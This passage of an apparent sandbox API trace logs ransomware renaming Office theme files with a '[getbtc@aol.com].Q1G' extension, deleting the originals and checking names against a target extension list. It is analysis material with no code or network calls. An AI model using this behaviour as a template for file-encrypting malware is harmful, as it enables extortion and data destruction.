dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.730] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.730] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.732] GetLastError () returned 0x0 [0048.732] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xe1b, lpOverlapped=0x0) returned 1 [0048.734] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0048.735] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.735] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.736] SetEndOfFile (hFile=0x1a0) returned 1 [0048.736] CloseHandle (hObject=0x1a0) returned 1 [0048.736] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.736] SetEndOfFile (hFile=0x208) returned 1 [0048.737] CloseHandle (hObject=0x208) returned 1 [0048.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.737] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0048.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.737] lstrlenW (lpString=".doc") returned 4 [0048.737] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.737] lstrlenW (lpString=".docx") returned 5 [0048.737] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.737] lstrlenW (lpString=".pdf") returned 4 [0048.737] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString=".xls") returned 4 [0048.737] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString=".xlsx") returned 5 [0048.737] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.737] lstrlenW (lpString=".ppt") returned 4 [0048.737] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.737] lstrlenW (lpString=".zip") returned 4 [0048.737] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString=".rar") returned 4 [0048.737] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.737] lstrlenW (lpString=".bz2") returned 4 [0048.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.738] lstrlenW (lpString=".7z") returned 3 [0048.738] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.738] lstrlenW (lpString=".dbf") returned 4 [0048.738] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.738] lstrlenW (lpString=".1cd") returned 4 [0048.738] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.738] lstrlenW (lpString=".jpg") returned 4 [0048.738] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.738] lstrlenW (lpString=".doc") returned 4 [0048.738] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.738] lstrlenW (lpString=".docx") returned 5 [0048.738] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.738] lstrlenW (lpString=".pdf") returned 4 [0048.738] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.738] lstrlenW (lpString=".xls") returned 4 [0048.738] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.738] lstrlenW (lpString=".xlsx") returned 5 [0048.738] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.738] lstrlenW (lpString=".ppt") returned 4 [0048.738] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.738] lstrlenW (lpString=".zip") returned 4 [0048.738] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.738] lstrlenW (lpString=".rar") returned 4 [0048.738] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.738] lstrlenW (lpString=".bz2") returned 4 [0048.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.738] lstrlenW (lpString=".7z") returned 3 [0048.739] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.739] lstrlenW (lpString=".dbf") returned 4 [0048.739] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.739] lstrlenW (lpString=".1cd") returned 4 [0048.739] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0048.739] lstrlenW (lpString=".jpg") returned 4 [0048.739] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.739] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0048.739] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.739] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=34163) returned 1 [0048.739] CloseHandle (hObject=0x208) returned 1 [0048.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0048.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.740] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.740] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.740] GetLastError () returned 0x0 [0048.740] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x8573, lpOverlapped=0x0) returned 1 [0048.742] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0048.744] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.744] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.744] SetEndOfFile (hFile=0x1a0) returned 1 [0048.744] CloseHandle (hObject=0x1a0) returned 1 [0048.744] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.744] SetEndOfFile (hFile=0x208) returned 1 [0048.745] CloseHandle (hObject=0x208) returned 1 [0048.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.745] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0048.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.745] lstrlenW (lpString=".doc") returned 4 [0048.745] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.746] lstrlenW (lpString=".docx") returned 5 [0048.746] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.746] lstrlenW (lpString=".pdf") returned 4 [0048.746] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.746] lstrlenW (lpString=".xls") returned 4 [0048.746] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.746] lstrlenW (lpString=".xlsx") returned 5 [0048.746] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.746] lstrlenW (lpString=".ppt") returned 4 [0048.746] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.746] lstrlenW (lpString=".zip") returned 4 [0048.746] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.746] lstrlenW (lpString=".rar") returned 4 [0048.746] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.746] lstrlenW (lpString=".bz2") returned 4 [0048.746] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.746] lstrlenW (lpString=".7z") returned 3 [0048.746] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.746] lstrlenW (lpString=".dbf") returned 4 [0048.746] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.746] lstrlenW (lpString=".1cd") returned 4 [0048.746] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.746] lstrlenW (lpString=".jpg") returned 4 [0048.746] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.746] lstrlenW (lpString=".doc") returned 4 [0048.746] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.746] lstrlenW (lpString=".docx") returned 5 [0048.746] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.746] lstrlenW (lpString=".pdf") returned 4 [0048.747] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.747] lstrlenW (lpString=".xls") returned 4 [0048.747] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.747] lstrlenW (lpString=".xlsx") returned 5 [0048.747] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.747] lstrlenW (lpString=".ppt") returned 4 [0048.747] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.747] lstrlenW (lpString=".zip") returned 4 [0048.747] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.747] lstrlenW (lpString=".rar") returned 4 [0048.747] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.747] lstrlenW (lpString=".bz2") returned 4 [0048.747] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.747] lstrlenW (lpString=".7z") returned 3 [0048.747] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.747] lstrlenW (lpString=".dbf") returned 4 [0048.747] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.747] lstrlenW (lpString=".1cd") returned 4 [0048.747] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0048.747] lstrlenW (lpString=".jpg") returned 4 [0048.747] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.747] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.747] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.748] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=937) returned 1 [0048.748] CloseHandle (hObject=0x208) returned 1 [0048.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0048.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.748] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.748] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.750] GetLastError () returned 0x0 [0048.750] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0048.751] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0048.752] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.752] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.752] SetEndOfFile (hFile=0x1a0) returned 1 [0048.752] CloseHandle (hObject=0x1a0) returned 1 [0048.752] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.752] SetEndOfFile (hFile=0x208) returned 1 [0048.753] CloseHandle (hObject=0x208) returned 1 [0048.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0048.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.754] lstrlenW (lpString=".doc") returned 4 [0048.754] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.754] lstrlenW (lpString=".docx") returned 5 [0048.754] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.754] lstrlenW (lpString=".pdf") returned 4 [0048.754] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.754] lstrlenW (lpString=".xls") returned 4 [0048.754] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.754] lstrlenW (lpString=".xlsx") returned 5 [0048.754] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.754] lstrlenW (lpString=".ppt") returned 4 [0048.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.754] lstrlenW (lpString=".zip") returned 4 [0048.754] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.754] lstrlenW (lpString=".rar") returned 4 [0048.754] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.754] lstrlenW (lpString=".bz2") returned 4 [0048.754] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.754] lstrlenW (lpString=".7z") returned 3 [0048.754] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.754] lstrlenW (lpString=".dbf") returned 4 [0048.754] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.754] lstrlenW (lpString=".1cd") returned 4 [0048.754] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.754] lstrlenW (lpString=".jpg") returned 4 [0048.754] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.755] lstrlenW (lpString=".doc") returned 4 [0048.755] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.755] lstrlenW (lpString=".docx") returned 5 [0048.755] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.755] lstrlenW (lpString=".pdf") returned 4 [0048.755] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.755] lstrlenW (lpString=".xls") returned 4 [0048.755] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.755] lstrlenW (lpString=".xlsx") returned 5 [0048.755] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.755] lstrlenW (lpString=".ppt") returned 4 [0048.755] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.755] lstrlenW (lpString=".zip") returned 4 [0048.755] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.755] lstrlenW (lpString=".rar") returned 4 [0048.755] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.755] lstrlenW (lpString=".bz2") returned 4 [0048.755] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.755] lstrlenW (lpString=".7z") returned 3 [0048.755] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.755] lstrlenW (lpString=".dbf") returned 4 [0048.755] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.755] lstrlenW (lpString=".1cd") returned 4 [0048.755] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0048.755] lstrlenW (lpString=".jpg") returned 4 [0048.755] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.755] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0048.756] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.756] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=29305) returned 1 [0048.756] CloseHandle (hObject=0x208) returned 1 [0048.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0048.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.756] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, 